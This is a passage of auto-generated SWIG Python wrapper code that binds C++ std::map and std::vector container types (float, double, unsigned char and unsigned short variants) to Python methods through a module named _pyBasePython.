_pyBasePython.mapSLSL_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.mapSLSL_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.mapSLSL_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.mapSLSL_rend(self) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.mapSLSL_count(self, *args) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator position) erase(self, iterator first, iterator last) """ return _pyBasePython.mapSLSL_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.mapSLSL_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.mapSLSL_lower_bound(self, *args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.mapSLSL_upper_bound(self, *args) __swig_destroy__ = _pyBasePython.delete_mapSLSL mapSLSL.iterator = new_instancemethod(_pyBasePython.mapSLSL_iterator,None,mapSLSL) mapSLSL.__nonzero__ = new_instancemethod(_pyBasePython.mapSLSL___nonzero__,None,mapSLSL) mapSLSL.__bool__ = new_instancemethod(_pyBasePython.mapSLSL___bool__,None,mapSLSL) mapSLSL.__len__ = new_instancemethod(_pyBasePython.mapSLSL___len__,None,mapSLSL) mapSLSL.__getitem__ = new_instancemethod(_pyBasePython.mapSLSL___getitem__,None,mapSLSL) mapSLSL.__delitem__ = new_instancemethod(_pyBasePython.mapSLSL___delitem__,None,mapSLSL) mapSLSL.has_key = new_instancemethod(_pyBasePython.mapSLSL_has_key,None,mapSLSL) mapSLSL.keys = new_instancemethod(_pyBasePython.mapSLSL_keys,None,mapSLSL) mapSLSL.values = new_instancemethod(_pyBasePython.mapSLSL_values,None,mapSLSL) mapSLSL.items = new_instancemethod(_pyBasePython.mapSLSL_items,None,mapSLSL) mapSLSL.__contains__ = new_instancemethod(_pyBasePython.mapSLSL___contains__,None,mapSLSL) mapSLSL.key_iterator = new_instancemethod(_pyBasePython.mapSLSL_key_iterator,None,mapSLSL) mapSLSL.value_iterator = new_instancemethod(_pyBasePython.mapSLSL_value_iterator,None,mapSLSL) mapSLSL.__setitem__ = new_instancemethod(_pyBasePython.mapSLSL___setitem__,None,mapSLSL) mapSLSL.empty = new_instancemethod(_pyBasePython.mapSLSL_empty,None,mapSLSL) mapSLSL.size = new_instancemethod(_pyBasePython.mapSLSL_size,None,mapSLSL) mapSLSL.clear = new_instancemethod(_pyBasePython.mapSLSL_clear,None,mapSLSL) mapSLSL.swap = new_instancemethod(_pyBasePython.mapSLSL_swap,None,mapSLSL) mapSLSL.get_allocator = new_instancemethod(_pyBasePython.mapSLSL_get_allocator,None,mapSLSL) mapSLSL.begin = new_instancemethod(_pyBasePython.mapSLSL_begin,None,mapSLSL) mapSLSL.end = new_instancemethod(_pyBasePython.mapSLSL_end,None,mapSLSL) mapSLSL.rbegin = new_instancemethod(_pyBasePython.mapSLSL_rbegin,None,mapSLSL) mapSLSL.rend = new_instancemethod(_pyBasePython.mapSLSL_rend,None,mapSLSL) mapSLSL.count = new_instancemethod(_pyBasePython.mapSLSL_count,None,mapSLSL) mapSLSL.erase = new_instancemethod(_pyBasePython.mapSLSL_erase,None,mapSLSL) mapSLSL.find = new_instancemethod(_pyBasePython.mapSLSL_find,None,mapSLSL) mapSLSL.lower_bound = new_instancemethod(_pyBasePython.mapSLSL_lower_bound,None,mapSLSL) mapSLSL.upper_bound = new_instancemethod(_pyBasePython.mapSLSL_upper_bound,None,mapSLSL) mapSLSL_swigregister = _pyBasePython.mapSLSL_swigregister mapSLSL_swigregister(mapSLSL) class mapFF(object): """Proxy of C++ std::map<(float,float)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.mapFF_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.mapFF___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.mapFF___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.mapFF___len__(self) def __getitem__(self, *args): """__getitem__(self, key_type key) -> mapped_type""" return _pyBasePython.mapFF___getitem__(self, *args) def __delitem__(self, *args): """__delitem__(self, key_type key)""" return _pyBasePython.mapFF___delitem__(self, *args) def has_key(self, *args): """has_key(self, key_type key) -> bool""" return _pyBasePython.mapFF_has_key(self, *args) def keys(self): """keys(self) -> PyObject""" return _pyBasePython.mapFF_keys(self) def values(self): """values(self) -> PyObject""" return _pyBasePython.mapFF_values(self) def items(self): """items(self) -> PyObject""" return _pyBasePython.mapFF_items(self) def __contains__(self, *args): """__contains__(self, key_type key) -> bool""" return _pyBasePython.mapFF___contains__(self, *args) def key_iterator(self): """key_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapFF_key_iterator(self) def value_iterator(self): """value_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapFF_value_iterator(self) def __iter__(self): return self.key_iterator() def iterkeys(self): return self.key_iterator() def itervalues(self): return self.value_iterator() def iteritems(self): return self.iterator() def __setitem__(self, *args): """__setitem__(self, key_type key, mapped_type x)""" return _pyBasePython.mapFF___setitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(float)> arg0) -> mapFF __init__(self) -> mapFF __init__(self, mapFF arg0) -> mapFF """ _pyBasePython.mapFF_swiginit(self,_pyBasePython.new_mapFF(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.mapFF_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.mapFF_size(self) def clear(self): """clear(self)""" return _pyBasePython.mapFF_clear(self) def swap(self, *args): """swap(self, mapFF v)""" return _pyBasePython.mapFF_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.mapFF_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.mapFF_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.mapFF_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.mapFF_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.mapFF_rend(self) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.mapFF_count(self, *args) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator position) erase(self, iterator first, iterator last) """ return _pyBasePython.mapFF_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.mapFF_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.mapFF_lower_bound(self, *args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.mapFF_upper_bound(self, *args) __swig_destroy__ = _pyBasePython.delete_mapFF mapFF.iterator = new_instancemethod(_pyBasePython.mapFF_iterator,None,mapFF) mapFF.__nonzero__ = new_instancemethod(_pyBasePython.mapFF___nonzero__,None,mapFF) mapFF.__bool__ = new_instancemethod(_pyBasePython.mapFF___bool__,None,mapFF) mapFF.__len__ = new_instancemethod(_pyBasePython.mapFF___len__,None,mapFF) mapFF.__getitem__ = new_instancemethod(_pyBasePython.mapFF___getitem__,None,mapFF) mapFF.__delitem__ = new_instancemethod(_pyBasePython.mapFF___delitem__,None,mapFF) mapFF.has_key = new_instancemethod(_pyBasePython.mapFF_has_key,None,mapFF) mapFF.keys = new_instancemethod(_pyBasePython.mapFF_keys,None,mapFF) mapFF.values = new_instancemethod(_pyBasePython.mapFF_values,None,mapFF) mapFF.items = new_instancemethod(_pyBasePython.mapFF_items,None,mapFF) mapFF.__contains__ = new_instancemethod(_pyBasePython.mapFF___contains__,None,mapFF) mapFF.key_iterator = new_instancemethod(_pyBasePython.mapFF_key_iterator,None,mapFF) mapFF.value_iterator = new_instancemethod(_pyBasePython.mapFF_value_iterator,None,mapFF) mapFF.__setitem__ = new_instancemethod(_pyBasePython.mapFF___setitem__,None,mapFF) mapFF.empty = new_instancemethod(_pyBasePython.mapFF_empty,None,mapFF) mapFF.size = new_instancemethod(_pyBasePython.mapFF_size,None,mapFF) mapFF.clear = new_instancemethod(_pyBasePython.mapFF_clear,None,mapFF) mapFF.swap = new_instancemethod(_pyBasePython.mapFF_swap,None,mapFF) mapFF.get_allocator = new_instancemethod(_pyBasePython.mapFF_get_allocator,None,mapFF) mapFF.begin = new_instancemethod(_pyBasePython.mapFF_begin,None,mapFF) mapFF.end = new_instancemethod(_pyBasePython.mapFF_end,None,mapFF) mapFF.rbegin = new_instancemethod(_pyBasePython.mapFF_rbegin,None,mapFF) mapFF.rend = new_instancemethod(_pyBasePython.mapFF_rend,None,mapFF) mapFF.count = new_instancemethod(_pyBasePython.mapFF_count,None,mapFF) mapFF.erase = new_instancemethod(_pyBasePython.mapFF_erase,None,mapFF) mapFF.find = new_instancemethod(_pyBasePython.mapFF_find,None,mapFF) mapFF.lower_bound = new_instancemethod(_pyBasePython.mapFF_lower_bound,None,mapFF) mapFF.upper_bound = new_instancemethod(_pyBasePython.mapFF_upper_bound,None,mapFF) mapFF_swigregister = _pyBasePython.mapFF_swigregister mapFF_swigregister(mapFF) class mapDD(object): """Proxy of C++ std::map<(double,double)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.mapDD_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.mapDD___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.mapDD___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.mapDD___len__(self) def __getitem__(self, *args): """__getitem__(self, key_type key) -> mapped_type""" return _pyBasePython.mapDD___getitem__(self, *args) def __delitem__(self, *args): """__delitem__(self, key_type key)""" return _pyBasePython.mapDD___delitem__(self, *args) def has_key(self, *args): """has_key(self, key_type key) -> bool""" return _pyBasePython.mapDD_has_key(self, *args) def keys(self): """keys(self) -> PyObject""" return _pyBasePython.mapDD_keys(self) def values(self): """values(self) -> PyObject""" return _pyBasePython.mapDD_values(self) def items(self): """items(self) -> PyObject""" return _pyBasePython.mapDD_items(self) def __contains__(self, *args): """__contains__(self, key_type key) -> bool""" return _pyBasePython.mapDD___contains__(self, *args) def key_iterator(self): """key_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapDD_key_iterator(self) def value_iterator(self): """value_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapDD_value_iterator(self) def __iter__(self): return self.key_iterator() def iterkeys(self): return self.key_iterator() def itervalues(self): return self.value_iterator() def iteritems(self): return self.iterator() def __setitem__(self, *args): """__setitem__(self, key_type key, mapped_type x)""" return _pyBasePython.mapDD___setitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(double)> arg0) -> mapDD __init__(self) -> mapDD __init__(self, mapDD arg0) -> mapDD """ _pyBasePython.mapDD_swiginit(self,_pyBasePython.new_mapDD(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.mapDD_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.mapDD_size(self) def clear(self): """clear(self)""" return _pyBasePython.mapDD_clear(self) def swap(self, *args): """swap(self, mapDD v)""" return _pyBasePython.mapDD_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.mapDD_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.mapDD_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.mapDD_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.mapDD_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.mapDD_rend(self) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.mapDD_count(self, *args) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator position) erase(self, iterator first, iterator last) """ return _pyBasePython.mapDD_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.mapDD_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.mapDD_lower_bound(self, *args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.mapDD_upper_bound(self, *args) __swig_destroy__ = _pyBasePython.delete_mapDD mapDD.iterator = new_instancemethod(_pyBasePython.mapDD_iterator,None,mapDD) mapDD.__nonzero__ = new_instancemethod(_pyBasePython.mapDD___nonzero__,None,mapDD) mapDD.__bool__ = new_instancemethod(_pyBasePython.mapDD___bool__,None,mapDD) mapDD.__len__ = new_instancemethod(_pyBasePython.mapDD___len__,None,mapDD) mapDD.__getitem__ = new_instancemethod(_pyBasePython.mapDD___getitem__,None,mapDD) mapDD.__delitem__ = new_instancemethod(_pyBasePython.mapDD___delitem__,None,mapDD) mapDD.has_key = new_instancemethod(_pyBasePython.mapDD_has_key,None,mapDD) mapDD.keys = new_instancemethod(_pyBasePython.mapDD_keys,None,mapDD) mapDD.values = new_instancemethod(_pyBasePython.mapDD_values,None,mapDD) mapDD.items = new_instancemethod(_pyBasePython.mapDD_items,None,mapDD) mapDD.__contains__ = new_instancemethod(_pyBasePython.mapDD___contains__,None,mapDD) mapDD.key_iterator = new_instancemethod(_pyBasePython.mapDD_key_iterator,None,mapDD) mapDD.value_iterator = new_instancemethod(_pyBasePython.mapDD_value_iterator,None,mapDD) mapDD.__setitem__ = new_instancemethod(_pyBasePython.mapDD___setitem__,None,mapDD) mapDD.empty = new_instancemethod(_pyBasePython.mapDD_empty,None,mapDD) mapDD.size = new_instancemethod(_pyBasePython.mapDD_size,None,mapDD) mapDD.clear = new_instancemethod(_pyBasePython.mapDD_clear,None,mapDD) mapDD.swap = new_instancemethod(_pyBasePython.mapDD_swap,None,mapDD) mapDD.get_allocator = new_instancemethod(_pyBasePython.mapDD_get_allocator,None,mapDD) mapDD.begin = new_instancemethod(_pyBasePython.mapDD_begin,None,mapDD) mapDD.end = new_instancemethod(_pyBasePython.mapDD_end,None,mapDD) mapDD.rbegin = new_instancemethod(_pyBasePython.mapDD_rbegin,None,mapDD) mapDD.rend = new_instancemethod(_pyBasePython.mapDD_rend,None,mapDD) mapDD.count = new_instancemethod(_pyBasePython.mapDD_count,None,mapDD) mapDD.erase = new_instancemethod(_pyBasePython.mapDD_erase,None,mapDD) mapDD.find = new_instancemethod(_pyBasePython.mapDD_find,None,mapDD) mapDD.lower_bound = new_instancemethod(_pyBasePython.mapDD_lower_bound,None,mapDD) mapDD.upper_bound = new_instancemethod(_pyBasePython.mapDD_upper_bound,None,mapDD) mapDD_swigregister = _pyBasePython.mapDD_swigregister mapDD_swigregister(mapDD) class vectorUC(object): """Proxy of C++ std::vector<(unsigned char)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorUC_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorUC___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorUC___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.vectorUC___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.vectorUC_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> vectorUC""" return _pyBasePython.vectorUC___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, vectorUC v)""" return _pyBasePython.vectorUC___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.vectorUC___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorUC___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorUC __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.vectorUC___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorUC v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.vectorUC___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.vectorUC_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.vectorUC_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.vectorUC_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorUC_clear(self) def swap(self, *args): """swap(self, vectorUC v)""" return _pyBasePython.vectorUC_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.vectorUC_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.vectorUC_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.vectorUC_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.vectorUC_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.vectorUC_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorUC_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.vectorUC_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorUC __init__(self, vectorUC arg0) -> vectorUC __init__(self, size_type size) -> vectorUC __init__(self, size_type size, value_type value) -> vectorUC """ _pyBasePython.vectorUC_swiginit(self,_pyBasePython.new_vectorUC(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.vectorUC_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.vectorUC_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.vectorUC_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.vectorUC_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.vectorUC_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.vectorUC_insert(self, *args) def reserve(self, *args): """reserve(self, size_type n)""" return _pyBasePython.vectorUC_reserve(self, *args) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.vectorUC_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorUC vectorUC.iterator = new_instancemethod(_pyBasePython.vectorUC_iterator,None,vectorUC) vectorUC.__nonzero__ = new_instancemethod(_pyBasePython.vectorUC___nonzero__,None,vectorUC) vectorUC.__bool__ = new_instancemethod(_pyBasePython.vectorUC___bool__,None,vectorUC) vectorUC.__len__ = new_instancemethod(_pyBasePython.vectorUC___len__,None,vectorUC) vectorUC.pop = new_instancemethod(_pyBasePython.vectorUC_pop,None,vectorUC) vectorUC.__getslice__ = new_instancemethod(_pyBasePython.vectorUC___getslice__,None,vectorUC) vectorUC.__setslice__ = new_instancemethod(_pyBasePython.vectorUC___setslice__,None,vectorUC) vectorUC.__delslice__ = new_instancemethod(_pyBasePython.vectorUC___delslice__,None,vectorUC) vectorUC.__delitem__ = new_instancemethod(_pyBasePython.vectorUC___delitem__,None,vectorUC) vectorUC.__getitem__ = new_instancemethod(_pyBasePython.vectorUC___getitem__,None,vectorUC) vectorUC.__setitem__ = new_instancemethod(_pyBasePython.vectorUC___setitem__,None,vectorUC) vectorUC.append = new_instancemethod(_pyBasePython.vectorUC_append,None,vectorUC) vectorUC.empty = new_instancemethod(_pyBasePython.vectorUC_empty,None,vectorUC) vectorUC.size = new_instancemethod(_pyBasePython.vectorUC_size,None,vectorUC) vectorUC.clear = new_instancemethod(_pyBasePython.vectorUC_clear,None,vectorUC) vectorUC.swap = new_instancemethod(_pyBasePython.vectorUC_swap,None,vectorUC) vectorUC.get_allocator = new_instancemethod(_pyBasePython.vectorUC_get_allocator,None,vectorUC) vectorUC.begin = new_instancemethod(_pyBasePython.vectorUC_begin,None,vectorUC) vectorUC.end = new_instancemethod(_pyBasePython.vectorUC_end,None,vectorUC) vectorUC.rbegin = new_instancemethod(_pyBasePython.vectorUC_rbegin,None,vectorUC) vectorUC.rend = new_instancemethod(_pyBasePython.vectorUC_rend,None,vectorUC) vectorUC.pop_back = new_instancemethod(_pyBasePython.vectorUC_pop_back,None,vectorUC) vectorUC.erase = new_instancemethod(_pyBasePython.vectorUC_erase,None,vectorUC) vectorUC.push_back = new_instancemethod(_pyBasePython.vectorUC_push_back,None,vectorUC) vectorUC.front = new_instancemethod(_pyBasePython.vectorUC_front,None,vectorUC) vectorUC.back = new_instancemethod(_pyBasePython.vectorUC_back,None,vectorUC) vectorUC.assign = new_instancemethod(_pyBasePython.vectorUC_assign,None,vectorUC) vectorUC.resize = new_instancemethod(_pyBasePython.vectorUC_resize,None,vectorUC) vectorUC.insert = new_instancemethod(_pyBasePython.vectorUC_insert,None,vectorUC) vectorUC.reserve = new_instancemethod(_pyBasePython.vectorUC_reserve,None,vectorUC) vectorUC.capacity = new_instancemethod(_pyBasePython.vectorUC_capacity,None,vectorUC) vectorUC_swigregister = _pyBasePython.vectorUC_swigregister vectorUC_swigregister(vectorUC) class vectorvectorUC(object): """Proxy of C++ std::vector<(std::vector<(unsigned char)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorvectorUC_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorvectorUC___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorvectorUC___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.vectorvectorUC___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.vectorvectorUC_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> vectorvectorUC""" return _pyBasePython.vectorvectorUC___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, vectorvectorUC v)""" return _pyBasePython.vectorvectorUC___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.vectorvectorUC___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorvectorUC___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorvectorUC __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.vectorvectorUC___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorvectorUC v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.vectorvectorUC___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.vectorvectorUC_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.vectorvectorUC_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.vectorvectorUC_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorvectorUC_clear(self) def swap(self, *args): """swap(self, vectorvectorUC v)""" return _pyBasePython.vectorvectorUC_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.vectorvectorUC_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.vectorvectorUC_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.vectorvectorUC_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.vectorvectorUC_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.vectorvectorUC_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorvectorUC_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.vectorvectorUC_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorvectorUC __init__(self, vectorvectorUC arg0) -> vectorvectorUC __init__(self, size_type size) -> vectorvectorUC __init__(self, size_type size, value_type value) -> vectorvectorUC """ _pyBasePython.vectorvectorUC_swiginit(self,_pyBasePython.new_vectorvectorUC(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.vectorvectorUC_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.vectorvectorUC_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.vectorvectorUC_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.vectorvectorUC_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.vectorvectorUC_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.vectorvectorUC_insert(self, *args) def reserve(self, *args): """reserve(self, size_type n)""" return _pyBasePython.vectorvectorUC_reserve(self, *args) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.vectorvectorUC_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorvectorUC vectorvectorUC.iterator = new_instancemethod(_pyBasePython.vectorvectorUC_iterator,None,vectorvectorUC) vectorvectorUC.__nonzero__ = new_instancemethod(_pyBasePython.vectorvectorUC___nonzero__,None,vectorvectorUC) vectorvectorUC.__bool__ = new_instancemethod(_pyBasePython.vectorvectorUC___bool__,None,vectorvectorUC) vectorvectorUC.__len__ = new_instancemethod(_pyBasePython.vectorvectorUC___len__,None,vectorvectorUC) vectorvectorUC.pop = new_instancemethod(_pyBasePython.vectorvectorUC_pop,None,vectorvectorUC) vectorvectorUC.__getslice__ = new_instancemethod(_pyBasePython.vectorvectorUC___getslice__,None,vectorvectorUC) vectorvectorUC.__setslice__ = new_instancemethod(_pyBasePython.vectorvectorUC___setslice__,None,vectorvectorUC) vectorvectorUC.__delslice__ = new_instancemethod(_pyBasePython.vectorvectorUC___delslice__,None,vectorvectorUC) vectorvectorUC.__delitem__ = new_instancemethod(_pyBasePython.vectorvectorUC___delitem__,None,vectorvectorUC) vectorvectorUC.__getitem__ = new_instancemethod(_pyBasePython.vectorvectorUC___getitem__,None,vectorvectorUC) vectorvectorUC.__setitem__ = new_instancemethod(_pyBasePython.vectorvectorUC___setitem__,None,vectorvectorUC) vectorvectorUC.append = new_instancemethod(_pyBasePython.vectorvectorUC_append,None,vectorvectorUC) vectorvectorUC.empty = new_instancemethod(_pyBasePython.vectorvectorUC_empty,None,vectorvectorUC) vectorvectorUC.size = new_instancemethod(_pyBasePython.vectorvectorUC_size,None,vectorvectorUC) vectorvectorUC.clear = new_instancemethod(_pyBasePython.vectorvectorUC_clear,None,vectorvectorUC) vectorvectorUC.swap = new_instancemethod(_pyBasePython.vectorvectorUC_swap,None,vectorvectorUC) vectorvectorUC.get_allocator = new_instancemethod(_pyBasePython.vectorvectorUC_get_allocator,None,vectorvectorUC) vectorvectorUC.begin = new_instancemethod(_pyBasePython.vectorvectorUC_begin,None,vectorvectorUC) vectorvectorUC.end = new_instancemethod(_pyBasePython.vectorvectorUC_end,None,vectorvectorUC) vectorvectorUC.rbegin = new_instancemethod(_pyBasePython.vectorvectorUC_rbegin,None,vectorvectorUC) vectorvectorUC.rend = new_instancemethod(_pyBasePython.vectorvectorUC_rend,None,vectorvectorUC) vectorvectorUC.pop_back = new_instancemethod(_pyBasePython.vectorvectorUC_pop_back,None,vectorvectorUC) vectorvectorUC.erase = new_instancemethod(_pyBasePython.vectorvectorUC_erase,None,vectorvectorUC) vectorvectorUC.push_back = new_instancemethod(_pyBasePython.vectorvectorUC_push_back,None,vectorvectorUC) vectorvectorUC.front = new_instancemethod(_pyBasePython.vectorvectorUC_front,None,vectorvectorUC) vectorvectorUC.back = new_instancemethod(_pyBasePython.vectorvectorUC_back,None,vectorvectorUC) vectorvectorUC.assign = new_instancemethod(_pyBasePython.vectorvectorUC_assign,None,vectorvectorUC) vectorvectorUC.resize = new_instancemethod(_pyBasePython.vectorvectorUC_resize,None,vectorvectorUC) vectorvectorUC.insert = new_instancemethod(_pyBasePython.vectorvectorUC_insert,None,vectorvectorUC) vectorvectorUC.reserve = new_instancemethod(_pyBasePython.vectorvectorUC_reserve,None,vectorvectorUC) vectorvectorUC.capacity = new_instancemethod(_pyBasePython.vectorvectorUC_capacity,None,vectorvectorUC) vectorvectorUC_swigregister = _pyBasePython.vectorvectorUC_swigregister vectorvectorUC_swigregister(vectorvectorUC) class vectorUS(object): """Proxy of C++ std::vector<(unsigned short)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorUS_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorUS___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorUS___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.vectorUS___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.vectorUS_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> vectorUS""" return _pyBasePython.vectorUS___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, vectorUS v)""" return _pyBasePython.vectorUS___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.vectorUS___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) 